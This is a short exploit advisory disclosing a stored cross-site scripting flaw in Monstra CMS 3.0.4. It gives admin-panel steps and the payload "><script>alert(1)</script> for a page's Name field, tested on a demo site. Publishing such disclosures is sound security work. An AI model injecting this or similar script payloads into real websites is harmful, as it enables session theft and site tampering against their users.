# Exploit Title: Monstra 3.0.4 - Stored Cross-Site Scripting (XSS)# Date: 2023-06-13# Exploit Author: tmrswrr# Vendor Homepage: https://monstra.org/# Software Link: https://monstra.org/monstra-3.0.4.zip# Version: 3.0.4# Tested : https://www.softaculous.com/softaculous/demos/Monstra--- Description ---1) Login admin panel and go to Pages:
https://demos3.softaculous.com/Monstraggybvrnbr4/admin/index.php?id=pages
2) Click edit button andwrite your payload in the Name field:
Payload: "><script>alert(1)</script>3) After save change and will you see alert button
https://demos3.softaculous.com/Monstraggybvrnbr4/